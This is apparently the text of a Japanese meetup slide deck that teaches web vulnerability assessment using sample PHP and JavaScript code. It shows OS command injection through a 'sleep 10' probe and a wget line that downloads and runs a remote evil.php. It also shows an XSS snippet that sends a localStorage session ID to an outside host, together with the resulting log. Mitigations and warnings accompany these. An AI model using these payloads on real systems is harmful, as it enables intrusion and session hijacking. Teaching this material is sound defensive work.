30
ソースで学ぶ脆弱性診断 SmartTechGeeks #2 桃原 裕太

ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

Embed Size (px)

Citation preview

Page 1: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

ソースで学ぶ脆弱性診断

SmartTechGeeks #2 桃原 裕太

Page 2: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

名前 桃原 裕太 / とうばる ゆうた

所属 株式会社 シーエー・アドバンス 技術統括本部

経歴 前職 ・ECサイト等の開発株式会社 シーエー・アドバンス ・社内ツールの開発 ・脆弱性診断の業務に携わって約4年

業務 Webアプリケーション脆弱性診断 ・PCブラウザ向けアプリ ・SPブラウザ向けアプリ ・Androidアプリ ・iOSアプリ

自己紹介

Page 3: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

脆弱性診断とは

Webサイトに脆弱性がないか、擬似攻撃を行って調査しています。

サービスを健全な状態に保つことで外部からの攻撃を防ぎます。

Page 4: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

注意

本資料で紹介した内容について

他者が管理しているサービスでは

試さないようにお願いします。

Page 5: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

今回のテーマ

サンプルソースをもとに、

脆弱性について一緒に考えていきたいと思います。

❏ どのような脆弱性か?

❏ どのような影響があるのか?

❏ どのように対策したらいいの?

Page 6: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

脆弱性の例

クロスサイトスクリプティング

SQLインジェクション

OSコマンドインジェクション

アクセス権 等

Page 7: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

最近だと…

WordPress の脆弱性がありましたね

【参考URL】https://www.ipa.go.jp/security/ciadr/vul/20170206-wordpress.html

対 象 WordPress 4.7.0 から WordPress 4.7.1

影 響REST API の脆弱性を悪用することで

コンテンツが改ざんされる

対 策 WordPress 4.7.2 へアップデートする

Page 8: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

問題!

Page 9: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

問題(どのような脆弱性があるでしょうか?)

http://hoge.com/order/summary

<?php // 受注情報の集計バッチを動かす

require 'common.php';

// 未ログインはログインページへリダイレクトする

if(!is_login()) header("Location: http://hoge.com/login"); exit();

$yyyymm = $_POST["yyyymm"]; // 201701

// バックグラウンドでPHPファイルを動かす

system("php /batch/order_summary.php $yyyymm &");

Page 10: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

問題(どのような脆弱性があるでしょうか?)

http://hoge.com/order/summary

<?php // 受注情報の集計バッチを動かす

require 'common.php';

// 未ログインはログインページへリダイレクトする

if(!is_login()) header("Location: http://hoge.com/login"); exit();

$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;

// バックグラウンドでPHPファイルを動かす

system("php /batch/order_summary.php $yyyymm &");

Page 11: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

問題(どのような脆弱性があるでしょうか?)

http://hoge.com/order/summary

<?php // 受注情報の集計バッチを動かす

require 'common.php';

// 未ログインはログインページへリダイレクトする

if(!is_login()) header("Location: http://hoge.com/login"); exit();

$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;

// バックグラウンドでPHPファイルを動かす

system("php /batch/order_summary.php $yyyymm &");

Page 12: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

OSコマンドインジェクション

http://hoge.com/order/summary

<?php // 受注情報の集計バッチを動かす

require 'common.php';

// 未ログインはログインページへリダイレクトする

if(!is_login()) header(“Location: http://hoge.com/login"); exit();

$yyyymm = $_POST[“yyyymm"]; // 201701;sleep 10;

// バックグラウンドでPHPファイルを動かす

system("php /batch/order_summary.php $yyyymm &");

①バッチを動かすphp /batch/order_summary.php 201701;

②sleepコマンドで10秒停止sleep 10;

Page 13: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

OSコマンドインジェクション

なぜsleepコマンド?

❏ yyyymm=201701 の場合

※レスポンスが返ってくるまでに1秒かかる

❏ yyyymm=201701;sleep 10; の場合

※レスポンスが返ってくるまでに11秒かかる

Page 14: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

OSコマンドインジェクション

外部の人でも

sleepコマンドを投げることで

脆弱性があるか判別できます

※試す場合は、許可を得たサイトだけにしてください。他者のサービスで試すと不正アクセスで

訴えられる恐れがあります

Page 15: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

OSコマンドインジェクション

影響

❏ 不正なファイルのDLと実行

❏ ;wget http://example.com/evil.txt -O evil.php;php evil.php;

❏ ツールの取得(yum, apt-get)

❏ ファイル削除 (rm)

❏ OSシャットダウン(shutdown)

❏ その他いろいろ

Page 16: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

OSコマンドインジェクション

対策 ※一例ですが…

❏ OSコマンドに渡すパラメータを

安全な関数によりエスケープする。

(すべて数字で構成されているか)

❏ 外部から入力された文字列を

コマンドラインのパラメータに渡さない

(画面ではなく、バックエンドでの定期実行に変える)

Page 17: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

次の問題!

Page 18: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

問題(どのような脆弱性があるでしょうか?)

http://hoge.com/login.php

<!-- javascript -->

// ログイン処理

fetch('/login_fetch.php', {

method: 'POST',

body: new FormData(document.getElementById('form1')),

})

// レスポンス取得

.then(response => response.json())

// WebストレージにセッションIDを格納

.then(json =>

localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));

Page 19: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

問題(どのような脆弱性があるでしょうか?)

http://hoge.com/login.php

<!-- javascript -->

// ログイン処理

fetch('/login_fetch.php', {

method: 'POST',

body: new FormData(document.getElementById('form1')),

})

// レスポンス取得

.then(response => response.json())

// WebストレージにセッションIDを格納

.then(json =>

localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));

WebStorageにセッションIDを保存している

Page 20: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

WebStorageへの機密情報の保存

セッションIDを盗まれてしまう可能性があります

セッションIDが盗まれる例 ※サイト内にXSSがある場合になります…

1. XSSを利用して、下記scriptを埋め込みます。

2. 結果、罠サイトへアクセスする際にセッションIDが漏洩します。

<!-- javascript -->

ses_id = localStorage.getItem('session_id');

img = $('<img src="http://fuga.com/1.png?session_id='+ses_id+'">');

$('body').append(img); // bodyの一番下にimgタグ追加

Page 21: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

WebStorageへの機密情報の保存

セッション情報が送信されたサイトのアクセスログ

192.168.99.1 - - [08/Feb/2017:06:06:04 +0000] "GET/1.png?session_id=s1234

HTTP/1.1" 404 497 "http://192.168.99.100/xss.php" "Mozilla/5.0 (Windows NT 6.1;

Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87

Safari/537.36"

GET/1.png?session_id=s1234 HTTP/1.1

アクセスログに残っている "s1234" を使うことで

対象サイトでなりすましできる

Page 22: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

WebStorageへの機密情報の保存

影響

XSSと組み合わせることでデータの取得や設定が可能に・セッションIDの取得や上書き・個人情報の取得 等

対策(一例)

セッション情報はCookieで保持するようにします。HttponlyやSecure属性を設定し、適切に保護。

Page 23: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

実際に脆弱性診断する

ときはどうしているか?

Page 24: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

実際に脆弱性診断するときはどうしているか

診断ツールを使って確認しています。

・自動診断(XSS, インジェクション攻撃 ... etc)

・手動診断(CSRF, アクセス権 ... etc)

ツールで検出しやすいものは自動診断

それ以外項目は手動診断しています。

Page 25: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

脆弱性診断で使うツール

診断効率をあげるためのツールのご紹介

❏ Burp Suite  ※弊社でも使ってます

❏ OWASP ZAP

❏ Fiddler

※試す場合は、許可を得たサイトだけにしてください。 他者のサービスで試すと不正アクセスで訴えられる恐れがあります。

Page 26: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

もし脆弱性診断に興味が出てきたら(その1)

IPAでセキュリティ理解を深めるための資料を公開しています。(無料)

安全なウェブサイトの作り方

https://www.ipa.go.jp/security/vuln/websecurity.html

脆弱性体験学習ツール AppGoat

https://www.ipa.go.jp/security/vuln/appgoat/

Page 27: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

もし脆弱性診断に興味が出てきたら(その2)

http://qiita.com/organizations/ca-adv にもあるので解いてみてください

Page 28: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

おわりに

Page 29: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

まとめ、と補足

❏ Webアプリケーション脆弱性診断について

少しでも理解してもらえると幸いです。

❏ OSコマンドインジェクションは危ない!

❏ ふつうに開発してるだけだと脆弱性は入ってしまうので、ぜひ

対策をご検討ください。

❏ セキュリティの専門家に依頼する

❏ 社内でセキュリティ意識を高める ... etc

Page 30: ソースで学ぶ脆弱性診断 - SmartTechGeeks #2

ご清聴ありがとうございました